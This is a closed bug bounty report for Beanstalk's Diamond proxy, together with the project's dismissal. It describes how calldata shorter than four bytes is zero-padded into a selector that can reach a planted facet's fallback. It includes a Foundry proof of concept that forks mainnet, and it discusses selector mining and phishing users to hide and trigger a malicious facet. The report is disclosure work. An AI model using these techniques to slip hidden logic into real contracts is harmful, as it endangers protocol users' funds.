Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
đź“„
Report #38420
đź“„

Report #38420

Report Date
January 2, 2025
Status
Closed
Payout

Short-Calldata Zero-Padding Vulnerability in Diamond Proxy Allows Unexpected Fallback Execution

‣
Report Info

Report ID

#38420

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Impacts

Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

A subtle edge case exists in Beanstalk's Diamond proxy (an EIP-2535 implementation) where any msg.data.length < 4 call leads to zero-padding of msg.sig. For example, calldata of just 0xff becomes 0xff000000. If a facet with that partial selector (0xff000000) is added (e.g., via governance), and its fallback function contains harmful logic, it could be unintentionally or maliciously triggered—potentially resulting in unexpected state changes.

Vulnerability Details

Within the Diamond proxy's fallback, we observe:

The issue arises from Solidity's handling of msg.sig (a bytes4) when msg.data.length < 4. Zero-padding can map less-than-four-bytes calldata—like 0xff—to a 4-byte selector 0xff000000. If a facet with that exact selector has a fallback function, the Diamond proxy will delegate-call to it:

contract TestFacet {
    // The function selector is 0xff000000
    function BlazingIt6886408584() public payable {}

    fallback() external {
        // Potentially malicious or unexpected logic
    }
}

...

// Sending only one byte ("0xff") triggers the delegatecall to TestFacet
// and fallback would be executed
address(beanstalk).call(hex"ff");

Potential for "Selector Mining"

Attackers can also perform selector mining to generate specific 4-byte function selectors that end (or begin) with particular bytes. By brute-forcing various function signatures (e.g., tweaking the name or parameters), they may deliberately produce a function that looks legitimate but with a selector like 0xff000000 (or another that partially matches short calldata). Once introduced via governance or other means, this seemingly innocuous facet function could allow fallback-based exploits to remain hidden in plain sight.

Why Might Calldata < 4 Occur?

While it's true that calls with fewer than 4 bytes are not typical, in my opinion they are still possible in several scenarios:

  1. Phishing or Social Engineering: A malicious interface could trick users into sending a transaction. The user might think it's a harmless or empty call, when in fact it activates an unexpected fallback.
  2. Malicious Contract-to-Contract Calls: Attackers could craft a contract that deliberately sends very short calldata to exploit the zero-padded selector, making it difficult for users of the contract to detect the issue.
  3. Accidental or Testing Mistakes: Under certain circumstances, both humans and programs can make mistakes, which may lead to unintended outcomes due to the unexpected execution path.

In isolation, this might appear edge-case, but if a malicious facet is successfully introduced—especially via governance—this quirk becomes a potential vector for unauthorized actions.

Impact Details

  1. Unexpected Execution Path: By exploiting zero-padding, a single-byte (or otherwise short) calldata can invoke a fallback that was never meant to be called.
  2. Potentially Harmful Operations: If the fallback function executes transfers, mints, or any privileged logic, it could pose a real threat to protocol security and user funds.

This vulnerability doesn't immediately imply direct theft under normal circumstances. However, it still presents a risk because malicious fallback logic could be exploited for griefing, unauthorized state changes, or, depending on the facet's code, even fund misappropriation.

Proof of concept

BIC Response

The situation you describe requires (1) a malicious fallback function to be introduced to the contracts and (2) an end user to unwittingly interact with said malicious function. These observations are not relevant to our bug bounty program and thus we are closing the report.

fallback() external payable {
    LibDiamond.DiamondStorage storage ds;
    bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;
    assembly {
        ds.slot := position
    }

    address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;
    require(facet != address(0), "Diamond: Function does not exist");
    assembly {
        calldatacopy(0, 0, calldatasize())
        let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
        returndatacopy(0, 0, returndatasize())
        switch result
        case 0 {
            revert(0, returndatasize())
        }
        default {
            return(0, returndatasize())
        }
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

interface IDiamondCut {
    enum FacetCutAction {
        Add,
        Replace,
        Remove
    }

    struct FacetCut {
        address facetAddress;
        FacetCutAction action;
        bytes4[] functionSelectors;
    }

    /// @notice Add/replace/remove any number of functions and optionally execute
    ///         a function with delegatecall
    /// @param _diamondCut Contains the facet addresses and function selectors
    /// @param _init The address of the contract or facet to execute _calldata
    /// @param _calldata A function call, including function selector and arguments
    ///                  _calldata is executed with delegatecall on _init
    function diamondCut(
        FacetCut[] calldata _diamondCut,
        address _init,
        bytes calldata _calldata
    ) external;

    event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata);
}

contract TestFacet {
    // selector == 0xff000000
    function BlazingIt6886408584() public payable {}

    fallback() external {
        console.log("TestFacet fallback called!");
    }
}

contract BeanstalkTest is Test {
    address public beanstalk = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    address public owner = 0xa9bA2C40b263843C04d344727b954A545c81D043;

    function setUp() public {
        vm.createSelectFork("mainnet", 21538674);
    }

    function test_add_facet_and_call_fallback() public {
        vm.startPrank(owner);

        TestFacet testFacet = new TestFacet();

        bytes4[] memory selectors = new bytes4[](1);
        selectors[0] = TestFacet.BlazingIt6886408584.selector;

        IDiamondCut.FacetCut[] memory cuts = new IDiamondCut.FacetCut[](1);
        cuts[0] = IDiamondCut.FacetCut({
            facetAddress: address(testFacet),
            action: IDiamondCut.FacetCutAction.Add,
            functionSelectors: selectors
        });

        IDiamondCut(beanstalk).diamondCut(cuts, address(0), "");

        // This triggers TestFacet's fallback, but it shouldn't.
        address(beanstalk).call(hex"ff");
    }
}